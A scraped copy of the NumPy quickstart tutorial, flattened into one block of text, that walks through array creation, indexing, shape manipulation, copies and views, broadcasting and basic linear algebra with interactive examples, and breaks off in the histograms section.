Git Product home page Git Product logo
  • aryia-behroziuan / numpy

    unknown-21-m, Quickstart tutorial Prerequisites Before reading this tutorial you should know a bit of Python. If you would like to refresh your memory, take a look at the Python tutorial. If you wish to work the examples in this tutorial, you must also have some software installed on your computer. Please see https://scipy.org/install.html for instructions. Learner profile This tutorial is intended as a quick overview of algebra and arrays in NumPy and want to understand how n-dimensional (n>=2) arrays are represented and can be manipulated. In particular, if you don’t know how to apply common functions to n-dimensional arrays (without using for-loops), or if you want to understand axis and shape properties for n-dimensional arrays, this tutorial might be of help. Learning Objectives After this tutorial, you should be able to: Understand the difference between one-, two- and n-dimensional arrays in NumPy; Understand how to apply some linear algebra operations to n-dimensional arrays without using for-loops; Understand axis and shape properties for n-dimensional arrays. The Basics NumPy’s main object is the homogeneous multidimensional array. It is a table of elements (usually numbers), all of the same type, indexed by a tuple of non-negative integers. In NumPy dimensions are called axes. For example, the coordinates of a point in 3D space [1, 2, 1] has one axis. That axis has 3 elements in it, so we say it has a length of 3. In the example pictured below, the array has 2 axes. The first axis has a length of 2, the second axis has a length of 3. [[ 1., 0., 0.], [ 0., 1., 2.]] NumPy’s array class is called ndarray. It is also known by the alias array. Note that numpy.array is not the same as the Standard Python Library class array.array, which only handles one-dimensional arrays and offers less functionality. The more important attributes of an ndarray object are: ndarray.ndim the number of axes (dimensions) of the array. ndarray.shape the dimensions of the array. This is a tuple of integers indicating the size of the array in each dimension. For a matrix with n rows and m columns, shape will be (n,m). The length of the shape tuple is therefore the number of axes, ndim. ndarray.size the total number of elements of the array. This is equal to the product of the elements of shape. ndarray.dtype an object describing the type of the elements in the array. One can create or specify dtype’s using standard Python types. Additionally NumPy provides types of its own. numpy.int32, numpy.int16, and numpy.float64 are some examples. ndarray.itemsize the size in bytes of each element of the array. For example, an array of elements of type float64 has itemsize 8 (=64/8), while one of type complex32 has itemsize 4 (=32/8). It is equivalent to ndarray.dtype.itemsize. ndarray.data the buffer containing the actual elements of the array. Normally, we won’t need to use this attribute because we will access the elements in an array using indexing facilities. An example >>> import numpy as np a = np.arange(15).reshape(3, 5) a array([[ 0, 1, 2, 3, 4], [ 5, 6, 7, 8, 9], [10, 11, 12, 13, 14]]) a.shape (3, 5) a.ndim 2 a.dtype.name 'int64' a.itemsize 8 a.size 15 type(a) <class 'numpy.ndarray'> b = np.array([6, 7, 8]) b array([6, 7, 8]) type(b) <class 'numpy.ndarray'> Array Creation There are several ways to create arrays. For example, you can create an array from a regular Python list or tuple using the array function. The type of the resulting array is deduced from the type of the elements in the sequences. >>> >>> import numpy as np >>> a = np.array([2,3,4]) >>> a array([2, 3, 4]) >>> a.dtype dtype('int64') >>> b = np.array([1.2, 3.5, 5.1]) >>> b.dtype dtype('float64') A frequent error consists in calling array with multiple arguments, rather than providing a single sequence as an argument. >>> >>> a = np.array(1,2,3,4) # WRONG Traceback (most recent call last): ... TypeError: array() takes from 1 to 2 positional arguments but 4 were given >>> a = np.array([1,2,3,4]) # RIGHT array transforms sequences of sequences into two-dimensional arrays, sequences of sequences of sequences into three-dimensional arrays, and so on. >>> >>> b = np.array([(1.5,2,3), (4,5,6)]) >>> b array([[1.5, 2. , 3. ], [4. , 5. , 6. ]]) The type of the array can also be explicitly specified at creation time: >>> >>> c = np.array( [ [1,2], [3,4] ], dtype=complex ) >>> c array([[1.+0.j, 2.+0.j], [3.+0.j, 4.+0.j]]) Often, the elements of an array are originally unknown, but its size is known. Hence, NumPy offers several functions to create arrays with initial placeholder content. These minimize the necessity of growing arrays, an expensive operation. The function zeros creates an array full of zeros, the function ones creates an array full of ones, and the function empty creates an array whose initial content is random and depends on the state of the memory. By default, the dtype of the created array is float64. >>> >>> np.zeros((3, 4)) array([[0., 0., 0., 0.], [0., 0., 0., 0.], [0., 0., 0., 0.]]) >>> np.ones( (2,3,4), dtype=np.int16 ) # dtype can also be specified array([[[1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1]], [[1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1]]], dtype=int16) >>> np.empty( (2,3) ) # uninitialized array([[ 3.73603959e-262, 6.02658058e-154, 6.55490914e-260], # may vary [ 5.30498948e-313, 3.14673309e-307, 1.00000000e+000]]) To create sequences of numbers, NumPy provides the arange function which is analogous to the Python built-in range, but returns an array. >>> >>> np.arange( 10, 30, 5 ) array([10, 15, 20, 25]) >>> np.arange( 0, 2, 0.3 ) # it accepts float arguments array([0. , 0.3, 0.6, 0.9, 1.2, 1.5, 1.8]) When arange is used with floating point arguments, it is generally not possible to predict the number of elements obtained, due to the finite floating point precision. For this reason, it is usually better to use the function linspace that receives as an argument the number of elements that we want, instead of the step: >>> >>> from numpy import pi >>> np.linspace( 0, 2, 9 ) # 9 numbers from 0 to 2 array([0. , 0.25, 0.5 , 0.75, 1. , 1.25, 1.5 , 1.75, 2. ]) >>> x = np.linspace( 0, 2*pi, 100 ) # useful to evaluate function at lots of points >>> f = np.sin(x) See also array, zeros, zeros_like, ones, ones_like, empty, empty_like, arange, linspace, numpy.random.Generator.rand, numpy.random.Generator.randn, fromfunction, fromfile Printing Arrays When you print an array, NumPy displays it in a similar way to nested lists, but with the following layout: the last axis is printed from left to right, the second-to-last is printed from top to bottom, the rest are also printed from top to bottom, with each slice separated from the next by an empty line. One-dimensional arrays are then printed as rows, bidimensionals as matrices and tridimensionals as lists of matrices. >>> >>> a = np.arange(6) # 1d array >>> print(a) [0 1 2 3 4 5] >>> >>> b = np.arange(12).reshape(4,3) # 2d array >>> print(b) [[ 0 1 2] [ 3 4 5] [ 6 7 8] [ 9 10 11]] >>> >>> c = np.arange(24).reshape(2,3,4) # 3d array >>> print(c) [[[ 0 1 2 3] [ 4 5 6 7] [ 8 9 10 11]] [[12 13 14 15] [16 17 18 19] [20 21 22 23]]] See below to get more details on reshape. If an array is too large to be printed, NumPy automatically skips the central part of the array and only prints the corners: >>> >>> print(np.arange(10000)) [ 0 1 2 ... 9997 9998 9999] >>> >>> print(np.arange(10000).reshape(100,100)) [[ 0 1 2 ... 97 98 99] [ 100 101 102 ... 197 198 199] [ 200 201 202 ... 297 298 299] ... [9700 9701 9702 ... 9797 9798 9799] [9800 9801 9802 ... 9897 9898 9899] [9900 9901 9902 ... 9997 9998 9999]] To disable this behaviour and force NumPy to print the entire array, you can change the printing options using set_printoptions. >>> >>> np.set_printoptions(threshold=sys.maxsize) # sys module should be imported Basic Operations Arithmetic operators on arrays apply elementwise. A new array is created and filled with the result. >>> >>> a = np.array( [20,30,40,50] ) >>> b = np.arange( 4 ) >>> b array([0, 1, 2, 3]) >>> c = a-b >>> c array([20, 29, 38, 47]) >>> b**2 array([0, 1, 4, 9]) >>> 10*np.sin(a) array([ 9.12945251, -9.88031624, 7.4511316 , -2.62374854]) >>> a<35 array([ True, True, False, False]) Unlike in many matrix languages, the product operator * operates elementwise in NumPy arrays. The matrix product can be performed using the @ operator (in python >=3.5) or the dot function or method: >>> >>> A = np.array( [[1,1], ... [0,1]] ) >>> B = np.array( [[2,0], ... [3,4]] ) >>> A * B # elementwise product array([[2, 0], [0, 4]]) >>> A @ B # matrix product array([[5, 4], [3, 4]]) >>> A.dot(B) # another matrix product array([[5, 4], [3, 4]]) Some operations, such as += and *=, act in place to modify an existing array rather than create a new one. >>> >>> rg = np.random.default_rng(1) # create instance of default random number generator >>> a = np.ones((2,3), dtype=int) >>> b = rg.random((2,3)) >>> a *= 3 >>> a array([[3, 3, 3], [3, 3, 3]]) >>> b += a >>> b array([[3.51182162, 3.9504637 , 3.14415961], [3.94864945, 3.31183145, 3.42332645]]) >>> a += b # b is not automatically converted to integer type Traceback (most recent call last): ... numpy.core._exceptions.UFuncTypeError: Cannot cast ufunc 'add' output from dtype('float64') to dtype('int64') with casting rule 'same_kind' When operating with arrays of different types, the type of the resulting array corresponds to the more general or precise one (a behavior known as upcasting). >>> >>> a = np.ones(3, dtype=np.int32) >>> b = np.linspace(0,pi,3) >>> b.dtype.name 'float64' >>> c = a+b >>> c array([1. , 2.57079633, 4.14159265]) >>> c.dtype.name 'float64' >>> d = np.exp(c*1j) >>> d array([ 0.54030231+0.84147098j, -0.84147098+0.54030231j, -0.54030231-0.84147098j]) >>> d.dtype.name 'complex128' Many unary operations, such as computing the sum of all the elements in the array, are implemented as methods of the ndarray class. >>> >>> a = rg.random((2,3)) >>> a array([[0.82770259, 0.40919914, 0.54959369], [0.02755911, 0.75351311, 0.53814331]]) >>> a.sum() 3.1057109529998157 >>> a.min() 0.027559113243068367 >>> a.max() 0.8277025938204418 By default, these operations apply to the array as though it were a list of numbers, regardless of its shape. However, by specifying the axis parameter you can apply an operation along the specified axis of an array: >>> >>> b = np.arange(12).reshape(3,4) >>> b array([[ 0, 1, 2, 3], [ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> >>> b.sum(axis=0) # sum of each column array([12, 15, 18, 21]) >>> >>> b.min(axis=1) # min of each row array([0, 4, 8]) >>> >>> b.cumsum(axis=1) # cumulative sum along each row array([[ 0, 1, 3, 6], [ 4, 9, 15, 22], [ 8, 17, 27, 38]]) Universal Functions NumPy provides familiar mathematical functions such as sin, cos, and exp. In NumPy, these are called “universal functions”(ufunc). Within NumPy, these functions operate elementwise on an array, producing an array as output. >>> >>> B = np.arange(3) >>> B array([0, 1, 2]) >>> np.exp(B) array([1. , 2.71828183, 7.3890561 ]) >>> np.sqrt(B) array([0. , 1. , 1.41421356]) >>> C = np.array([2., -1., 4.]) >>> np.add(B, C) array([2., 0., 6.]) See also all, any, apply_along_axis, argmax, argmin, argsort, average, bincount, ceil, clip, conj, corrcoef, cov, cross, cumprod, cumsum, diff, dot, floor, inner, invert, lexsort, max, maximum, mean, median, min, minimum, nonzero, outer, prod, re, round, sort, std, sum, trace, transpose, var, vdot, vectorize, where Indexing, Slicing and Iterating One-dimensional arrays can be indexed, sliced and iterated over, much like lists and other Python sequences. >>> >>> a = np.arange(10)**3 >>> a array([ 0, 1, 8, 27, 64, 125, 216, 343, 512, 729]) >>> a[2] 8 >>> a[2:5] array([ 8, 27, 64]) # equivalent to a[0:6:2] = 1000; # from start to position 6, exclusive, set every 2nd element to 1000 >>> a[:6:2] = 1000 >>> a array([1000, 1, 1000, 27, 1000, 125, 216, 343, 512, 729]) >>> a[ : :-1] # reversed a array([ 729, 512, 343, 216, 125, 1000, 27, 1000, 1, 1000]) >>> for i in a: ... print(i**(1/3.)) ... 9.999999999999998 1.0 9.999999999999998 3.0 9.999999999999998 4.999999999999999 5.999999999999999 6.999999999999999 7.999999999999999 8.999999999999998 Multidimensional arrays can have one index per axis. These indices are given in a tuple separated by commas: >>> >>> def f(x,y): ... return 10*x+y ... >>> b = np.fromfunction(f,(5,4),dtype=int) >>> b array([[ 0, 1, 2, 3], [10, 11, 12, 13], [20, 21, 22, 23], [30, 31, 32, 33], [40, 41, 42, 43]]) >>> b[2,3] 23 >>> b[0:5, 1] # each row in the second column of b array([ 1, 11, 21, 31, 41]) >>> b[ : ,1] # equivalent to the previous example array([ 1, 11, 21, 31, 41]) >>> b[1:3, : ] # each column in the second and third row of b array([[10, 11, 12, 13], [20, 21, 22, 23]]) When fewer indices are provided than the number of axes, the missing indices are considered complete slices: >>> >>> b[-1] # the last row. Equivalent to b[-1,:] array([40, 41, 42, 43]) The expression within brackets in b[i] is treated as an i followed by as many instances of : as needed to represent the remaining axes. NumPy also allows you to write this using dots as b[i,...]. The dots (...) represent as many colons as needed to produce a complete indexing tuple. For example, if x is an array with 5 axes, then x[1,2,...] is equivalent to x[1,2,:,:,:], x[...,3] to x[:,:,:,:,3] and x[4,...,5,:] to x[4,:,:,5,:]. >>> >>> c = np.array( [[[ 0, 1, 2], # a 3D array (two stacked 2D arrays) ... [ 10, 12, 13]], ... [[100,101,102], ... [110,112,113]]]) >>> c.shape (2, 2, 3) >>> c[1,...] # same as c[1,:,:] or c[1] array([[100, 101, 102], [110, 112, 113]]) >>> c[...,2] # same as c[:,:,2] array([[ 2, 13], [102, 113]]) Iterating over multidimensional arrays is done with respect to the first axis: >>> >>> for row in b: ... print(row) ... [0 1 2 3] [10 11 12 13] [20 21 22 23] [30 31 32 33] [40 41 42 43] However, if one wants to perform an operation on each element in the array, one can use the flat attribute which is an iterator over all the elements of the array: >>> >>> for element in b.flat: ... print(element) ... 0 1 2 3 10 11 12 13 20 21 22 23 30 31 32 33 40 41 42 43 See also Indexing, Indexing (reference), newaxis, ndenumerate, indices Shape Manipulation Changing the shape of an array An array has a shape given by the number of elements along each axis: >>> >>> a = np.floor(10*rg.random((3,4))) >>> a array([[3., 7., 3., 4.], [1., 4., 2., 2.], [7., 2., 4., 9.]]) >>> a.shape (3, 4) The shape of an array can be changed with various commands. Note that the following three commands all return a modified array, but do not change the original array: >>> >>> a.ravel() # returns the array, flattened array([3., 7., 3., 4., 1., 4., 2., 2., 7., 2., 4., 9.]) >>> a.reshape(6,2) # returns the array with a modified shape array([[3., 7.], [3., 4.], [1., 4.], [2., 2.], [7., 2.], [4., 9.]]) >>> a.T # returns the array, transposed array([[3., 1., 7.], [7., 4., 2.], [3., 2., 4.], [4., 2., 9.]]) >>> a.T.shape (4, 3) >>> a.shape (3, 4) The order of the elements in the array resulting from ravel() is normally “C-style”, that is, the rightmost index “changes the fastest”, so the element after a[0,0] is a[0,1]. If the array is reshaped to some other shape, again the array is treated as “C-style”. NumPy normally creates arrays stored in this order, so ravel() will usually not need to copy its argument, but if the array was made by taking slices of another array or created with unusual options, it may need to be copied. The functions ravel() and reshape() can also be instructed, using an optional argument, to use FORTRAN-style arrays, in which the leftmost index changes the fastest. The reshape function returns its argument with a modified shape, whereas the ndarray.resize method modifies the array itself: >>> >>> a array([[3., 7., 3., 4.], [1., 4., 2., 2.], [7., 2., 4., 9.]]) >>> a.resize((2,6)) >>> a array([[3., 7., 3., 4., 1., 4.], [2., 2., 7., 2., 4., 9.]]) If a dimension is given as -1 in a reshaping operation, the other dimensions are automatically calculated: >>> >>> a.reshape(3,-1) array([[3., 7., 3., 4.], [1., 4., 2., 2.], [7., 2., 4., 9.]]) See also ndarray.shape, reshape, resize, ravel Stacking together different arrays Several arrays can be stacked together along different axes: >>> >>> a = np.floor(10*rg.random((2,2))) >>> a array([[9., 7.], [5., 2.]]) >>> b = np.floor(10*rg.random((2,2))) >>> b array([[1., 9.], [5., 1.]]) >>> np.vstack((a,b)) array([[9., 7.], [5., 2.], [1., 9.], [5., 1.]]) >>> np.hstack((a,b)) array([[9., 7., 1., 9.], [5., 2., 5., 1.]]) The function column_stack stacks 1D arrays as columns into a 2D array. It is equivalent to hstack only for 2D arrays: >>> >>> from numpy import newaxis >>> np.column_stack((a,b)) # with 2D arrays array([[9., 7., 1., 9.], [5., 2., 5., 1.]]) >>> a = np.array([4.,2.]) >>> b = np.array([3.,8.]) >>> np.column_stack((a,b)) # returns a 2D array array([[4., 3.], [2., 8.]]) >>> np.hstack((a,b)) # the result is different array([4., 2., 3., 8.]) >>> a[:,newaxis] # view `a` as a 2D column vector array([[4.], [2.]]) >>> np.column_stack((a[:,newaxis],b[:,newaxis])) array([[4., 3.], [2., 8.]]) >>> np.hstack((a[:,newaxis],b[:,newaxis])) # the result is the same array([[4., 3.], [2., 8.]]) On the other hand, the function row_stack is equivalent to vstack for any input arrays. In fact, row_stack is an alias for vstack: >>> >>> np.column_stack is np.hstack False >>> np.row_stack is np.vstack True In general, for arrays with more than two dimensions, hstack stacks along their second axes, vstack stacks along their first axes, and concatenate allows for an optional arguments giving the number of the axis along which the concatenation should happen. Note In complex cases, r_ and c_ are useful for creating arrays by stacking numbers along one axis. They allow the use of range literals (“:”) >>> >>> np.r_[1:4,0,4] array([1, 2, 3, 0, 4]) When used with arrays as arguments, r_ and c_ are similar to vstack and hstack in their default behavior, but allow for an optional argument giving the number of the axis along which to concatenate. See also hstack, vstack, column_stack, concatenate, c_, r_ Splitting one array into several smaller ones Using hsplit, you can split an array along its horizontal axis, either by specifying the number of equally shaped arrays to return, or by specifying the columns after which the division should occur: >>> >>> a = np.floor(10*rg.random((2,12))) >>> a array([[6., 7., 6., 9., 0., 5., 4., 0., 6., 8., 5., 2.], [8., 5., 5., 7., 1., 8., 6., 7., 1., 8., 1., 0.]]) # Split a into 3 >>> np.hsplit(a,3) [array([[6., 7., 6., 9.], [8., 5., 5., 7.]]), array([[0., 5., 4., 0.], [1., 8., 6., 7.]]), array([[6., 8., 5., 2.], [1., 8., 1., 0.]])] # Split a after the third and the fourth column >>> np.hsplit(a,(3,4)) [array([[6., 7., 6.], [8., 5., 5.]]), array([[9.], [7.]]), array([[0., 5., 4., 0., 6., 8., 5., 2.], [1., 8., 6., 7., 1., 8., 1., 0.]])] vsplit splits along the vertical axis, and array_split allows one to specify along which axis to split. Copies and Views When operating and manipulating arrays, their data is sometimes copied into a new array and sometimes not. This is often a source of confusion for beginners. There are three cases: No Copy at All Simple assignments make no copy of objects or their data. >>> >>> a = np.array([[ 0, 1, 2, 3], ... [ 4, 5, 6, 7], ... [ 8, 9, 10, 11]]) >>> b = a # no new object is created >>> b is a # a and b are two names for the same ndarray object True Python passes mutable objects as references, so function calls make no copy. >>> >>> def f(x): ... print(id(x)) ... >>> id(a) # id is a unique identifier of an object 148293216 # may vary >>> f(a) 148293216 # may vary View or Shallow Copy Different array objects can share the same data. The view method creates a new array object that looks at the same data. >>> >>> c = a.view() >>> c is a False >>> c.base is a # c is a view of the data owned by a True >>> c.flags.owndata False >>> >>> c = c.reshape((2, 6)) # a's shape doesn't change >>> a.shape (3, 4) >>> c[0, 4] = 1234 # a's data changes >>> a array([[ 0, 1, 2, 3], [1234, 5, 6, 7], [ 8, 9, 10, 11]]) Slicing an array returns a view of it: >>> >>> s = a[ : , 1:3] # spaces added for clarity; could also be written "s = a[:, 1:3]" >>> s[:] = 10 # s[:] is a view of s. Note the difference between s = 10 and s[:] = 10 >>> a array([[ 0, 10, 10, 3], [1234, 10, 10, 7], [ 8, 10, 10, 11]]) Deep Copy The copy method makes a complete copy of the array and its data. >>> >>> d = a.copy() # a new array object with new data is created >>> d is a False >>> d.base is a # d doesn't share anything with a False >>> d[0,0] = 9999 >>> a array([[ 0, 10, 10, 3], [1234, 10, 10, 7], [ 8, 10, 10, 11]]) Sometimes copy should be called after slicing if the original array is not required anymore. For example, suppose a is a huge intermediate result and the final result b only contains a small fraction of a, a deep copy should be made when constructing b with slicing: >>> >>> a = np.arange(int(1e8)) >>> b = a[:100].copy() >>> del a # the memory of ``a`` can be released. If b = a[:100] is used instead, a is referenced by b and will persist in memory even if del a is executed. Functions and Methods Overview Here is a list of some useful NumPy functions and methods names ordered in categories. See Routines for the full list. Array Creation arange, array, copy, empty, empty_like, eye, fromfile, fromfunction, identity, linspace, logspace, mgrid, ogrid, ones, ones_like, r_, zeros, zeros_like Conversions ndarray.astype, atleast_1d, atleast_2d, atleast_3d, mat Manipulations array_split, column_stack, concatenate, diagonal, dsplit, dstack, hsplit, hstack, ndarray.item, newaxis, ravel, repeat, reshape, resize, squeeze, swapaxes, take, transpose, vsplit, vstack Questions all, any, nonzero, where Ordering argmax, argmin, argsort, max, min, ptp, searchsorted, sort Operations choose, compress, cumprod, cumsum, inner, ndarray.fill, imag, prod, put, putmask, real, sum Basic Statistics cov, mean, std, var Basic Linear Algebra cross, dot, outer, linalg.svd, vdot Less Basic Broadcasting rules Broadcasting allows universal functions to deal in a meaningful way with inputs that do not have exactly the same shape. The first rule of broadcasting is that if all input arrays do not have the same number of dimensions, a “1” will be repeatedly prepended to the shapes of the smaller arrays until all the arrays have the same number of dimensions. The second rule of broadcasting ensures that arrays with a size of 1 along a particular dimension act as if they had the size of the array with the largest shape along that dimension. The value of the array element is assumed to be the same along that dimension for the “broadcast” array. After application of the broadcasting rules, the sizes of all arrays must match. More details can be found in Broadcasting. Advanced indexing and index tricks NumPy offers more indexing facilities than regular Python sequences. In addition to indexing by integers and slices, as we saw before, arrays can be indexed by arrays of integers and arrays of booleans. Indexing with Arrays of Indices >>> >>> a = np.arange(12)**2 # the first 12 square numbers >>> i = np.array([1, 1, 3, 8, 5]) # an array of indices >>> a[i] # the elements of a at the positions i array([ 1, 1, 9, 64, 25]) >>> >>> j = np.array([[3, 4], [9, 7]]) # a bidimensional array of indices >>> a[j] # the same shape as j array([[ 9, 16], [81, 49]]) When the indexed array a is multidimensional, a single array of indices refers to the first dimension of a. The following example shows this behavior by converting an image of labels into a color image using a palette. >>> >>> palette = np.array([[0, 0, 0], # black ... [255, 0, 0], # red ... [0, 255, 0], # green ... [0, 0, 255], # blue ... [255, 255, 255]]) # white >>> image = np.array([[0, 1, 2, 0], # each value corresponds to a color in the palette ... [0, 3, 4, 0]]) >>> palette[image] # the (2, 4, 3) color image array([[[ 0, 0, 0], [255, 0, 0], [ 0, 255, 0], [ 0, 0, 0]], [[ 0, 0, 0], [ 0, 0, 255], [255, 255, 255], [ 0, 0, 0]]]) We can also give indexes for more than one dimension. The arrays of indices for each dimension must have the same shape. >>> >>> a = np.arange(12).reshape(3,4) >>> a array([[ 0, 1, 2, 3], [ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> i = np.array([[0, 1], # indices for the first dim of a ... [1, 2]]) >>> j = np.array([[2, 1], # indices for the second dim ... [3, 3]]) >>> >>> a[i, j] # i and j must have equal shape array([[ 2, 5], [ 7, 11]]) >>> >>> a[i, 2] array([[ 2, 6], [ 6, 10]]) >>> >>> a[:, j] # i.e., a[ : , j] array([[[ 2, 1], [ 3, 3]], [[ 6, 5], [ 7, 7]], [[10, 9], [11, 11]]]) In Python, arr[i, j] is exactly the same as arr[(i, j)]—so we can put i and j in a tuple and then do the indexing with that. >>> >>> l = (i, j) # equivalent to a[i, j] >>> a[l] array([[ 2, 5], [ 7, 11]]) However, we can not do this by putting i and j into an array, because this array will be interpreted as indexing the first dimension of a. >>> >>> s = np.array([i, j]) # not what we want >>> a[s] Traceback (most recent call last): File "<stdin>", line 1, in <module> IndexError: index 3 is out of bounds for axis 0 with size 3 # same as a[i, j] >>> a[tuple(s)] array([[ 2, 5], [ 7, 11]]) Another common use of indexing with arrays is the search of the maximum value of time-dependent series: >>> >>> time = np.linspace(20, 145, 5) # time scale >>> data = np.sin(np.arange(20)).reshape(5,4) # 4 time-dependent series >>> time array([ 20. , 51.25, 82.5 , 113.75, 145. ]) >>> data array([[ 0. , 0.84147098, 0.90929743, 0.14112001], [-0.7568025 , -0.95892427, -0.2794155 , 0.6569866 ], [ 0.98935825, 0.41211849, -0.54402111, -0.99999021], [-0.53657292, 0.42016704, 0.99060736, 0.65028784], [-0.28790332, -0.96139749, -0.75098725, 0.14987721]]) # index of the maxima for each series >>> ind = data.argmax(axis=0) >>> ind array([2, 0, 3, 1]) # times corresponding to the maxima >>> time_max = time[ind] >>> >>> data_max = data[ind, range(data.shape[1])] # => data[ind[0],0], data[ind[1],1]... >>> time_max array([ 82.5 , 20. , 113.75, 51.25]) >>> data_max array([0.98935825, 0.84147098, 0.99060736, 0.6569866 ]) >>> np.all(data_max == data.max(axis=0)) True You can also use indexing with arrays as a target to assign to: >>> >>> a = np.arange(5) >>> a array([0, 1, 2, 3, 4]) >>> a[[1,3,4]] = 0 >>> a array([0, 0, 2, 0, 0]) However, when the list of indices contains repetitions, the assignment is done several times, leaving behind the last value: >>> >>> a = np.arange(5) >>> a[[0,0,2]]=[1,2,3] >>> a array([2, 1, 3, 3, 4]) This is reasonable enough, but watch out if you want to use Python’s += construct, as it may not do what you expect: >>> >>> a = np.arange(5) >>> a[[0,0,2]]+=1 >>> a array([1, 1, 3, 3, 4]) Even though 0 occurs twice in the list of indices, the 0th element is only incremented once. This is because Python requires “a+=1” to be equivalent to “a = a + 1”. Indexing with Boolean Arrays When we index arrays with arrays of (integer) indices we are providing the list of indices to pick. With boolean indices the approach is different; we explicitly choose which items in the array we want and which ones we don’t. The most natural way one can think of for boolean indexing is to use boolean arrays that have the same shape as the original array: >>> >>> a = np.arange(12).reshape(3,4) >>> b = a > 4 >>> b # b is a boolean with a's shape array([[False, False, False, False], [False, True, True, True], [ True, True, True, True]]) >>> a[b] # 1d array with the selected elements array([ 5, 6, 7, 8, 9, 10, 11]) This property can be very useful in assignments: >>> >>> a[b] = 0 # All elements of 'a' higher than 4 become 0 >>> a array([[0, 1, 2, 3], [4, 0, 0, 0], [0, 0, 0, 0]]) You can look at the following example to see how to use boolean indexing to generate an image of the Mandelbrot set: >>> import numpy as np import matplotlib.pyplot as plt def mandelbrot( h,w, maxit=20 ): """Returns an image of the Mandelbrot fractal of size (h,w).""" y,x = np.ogrid[ -1.4:1.4:h*1j, -2:0.8:w*1j ] c = x+y*1j z = c divtime = maxit + np.zeros(z.shape, dtype=int) for i in range(maxit): z = z**2 + c diverge = z*np.conj(z) > 2**2 # who is diverging div_now = diverge & (divtime==maxit) # who is diverging now divtime[div_now] = i # note when z[diverge] = 2 # avoid diverging too much return divtime plt.imshow(mandelbrot(400,400)) ../_images/quickstart-1.png The second way of indexing with booleans is more similar to integer indexing; for each dimension of the array we give a 1D boolean array selecting the slices we want: >>> >>> a = np.arange(12).reshape(3,4) >>> b1 = np.array([False,True,True]) # first dim selection >>> b2 = np.array([True,False,True,False]) # second dim selection >>> >>> a[b1,:] # selecting rows array([[ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> >>> a[b1] # same thing array([[ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> >>> a[:,b2] # selecting columns array([[ 0, 2], [ 4, 6], [ 8, 10]]) >>> >>> a[b1,b2] # a weird thing to do array([ 4, 10]) Note that the length of the 1D boolean array must coincide with the length of the dimension (or axis) you want to slice. In the previous example, b1 has length 3 (the number of rows in a), and b2 (of length 4) is suitable to index the 2nd axis (columns) of a. The ix_() function The ix_ function can be used to combine different vectors so as to obtain the result for each n-uplet. For example, if you want to compute all the a+b*c for all the triplets taken from each of the vectors a, b and c: >>> >>> a = np.array([2,3,4,5]) >>> b = np.array([8,5,4]) >>> c = np.array([5,4,6,8,3]) >>> ax,bx,cx = np.ix_(a,b,c) >>> ax array([[[2]], [[3]], [[4]], [[5]]]) >>> bx array([[[8], [5], [4]]]) >>> cx array([[[5, 4, 6, 8, 3]]]) >>> ax.shape, bx.shape, cx.shape ((4, 1, 1), (1, 3, 1), (1, 1, 5)) >>> result = ax+bx*cx >>> result array([[[42, 34, 50, 66, 26], [27, 22, 32, 42, 17], [22, 18, 26, 34, 14]], [[43, 35, 51, 67, 27], [28, 23, 33, 43, 18], [23, 19, 27, 35, 15]], [[44, 36, 52, 68, 28], [29, 24, 34, 44, 19], [24, 20, 28, 36, 16]], [[45, 37, 53, 69, 29], [30, 25, 35, 45, 20], [25, 21, 29, 37, 17]]]) >>> result[3,2,4] 17 >>> a[3]+b[2]*c[4] 17 You could also implement the reduce as follows: >>> >>> def ufunc_reduce(ufct, *vectors): ... vs = np.ix_(*vectors) ... r = ufct.identity ... for v in vs: ... r = ufct(r,v) ... return r and then use it as: >>> >>> ufunc_reduce(np.add,a,b,c) array([[[15, 14, 16, 18, 13], [12, 11, 13, 15, 10], [11, 10, 12, 14, 9]], [[16, 15, 17, 19, 14], [13, 12, 14, 16, 11], [12, 11, 13, 15, 10]], [[17, 16, 18, 20, 15], [14, 13, 15, 17, 12], [13, 12, 14, 16, 11]], [[18, 17, 19, 21, 16], [15, 14, 16, 18, 13], [14, 13, 15, 17, 12]]]) The advantage of this version of reduce compared to the normal ufunc.reduce is that it makes use of the Broadcasting Rules in order to avoid creating an argument array the size of the output times the number of vectors. Indexing with strings See Structured arrays. Linear Algebra Work in progress. Basic linear algebra to be included here. Simple Array Operations See linalg.py in numpy folder for more. >>> >>> import numpy as np >>> a = np.array([[1.0, 2.0], [3.0, 4.0]]) >>> print(a) [[1. 2.] [3. 4.]] >>> a.transpose() array([[1., 3.], [2., 4.]]) >>> np.linalg.inv(a) array([[-2. , 1. ], [ 1.5, -0.5]]) >>> u = np.eye(2) # unit 2x2 matrix; "eye" represents "I" >>> u array([[1., 0.], [0., 1.]]) >>> j = np.array([[0.0, -1.0], [1.0, 0.0]]) >>> j @ j # matrix product array([[-1., 0.], [ 0., -1.]]) >>> np.trace(u) # trace 2.0 >>> y = np.array([[5.], [7.]]) >>> np.linalg.solve(a, y) array([[-3.], [ 4.]]) >>> np.linalg.eig(j) (array([0.+1.j, 0.-1.j]), array([[0.70710678+0.j , 0.70710678-0.j ], [0. -0.70710678j, 0. +0.70710678j]])) Parameters: square matrix Returns The eigenvalues, each repeated according to its multiplicity. The normalized (unit "length") eigenvectors, such that the column ``v[:,i]`` is the eigenvector corresponding to the eigenvalue ``w[i]`` . Tricks and Tips Here we give a list of short and useful tips. “Automatic” Reshaping To change the dimensions of an array, you can omit one of the sizes which will then be deduced automatically: >>> >>> a = np.arange(30) >>> b = a.reshape((2, -1, 3)) # -1 means "whatever is needed" >>> b.shape (2, 5, 3) >>> b array([[[ 0, 1, 2], [ 3, 4, 5], [ 6, 7, 8], [ 9, 10, 11], [12, 13, 14]], [[15, 16, 17], [18, 19, 20], [21, 22, 23], [24, 25, 26], [27, 28, 29]]]) Vector Stacking How do we construct a 2D array from a list of equally-sized row vectors? In MATLAB this is quite easy: if x and y are two vectors of the same length you only need do m=[x;y]. In NumPy this works via the functions column_stack, dstack, hstack and vstack, depending on the dimension in which the stacking is to be done. For example: >>> >>> x = np.arange(0,10,2) >>> y = np.arange(5) >>> m = np.vstack([x,y]) >>> m array([[0, 2, 4, 6, 8], [0, 1, 2, 3, 4]]) >>> xy = np.hstack([x,y]) >>> xy array([0, 2, 4, 6, 8, 0, 1, 2, 3, 4]) The logic behind those functions in more than two dimensions can be strange. See also NumPy for Matlab users Histograms The NumPy histogram function applied to an array returns a pair of vectors: the histogram of the array and a vector of the 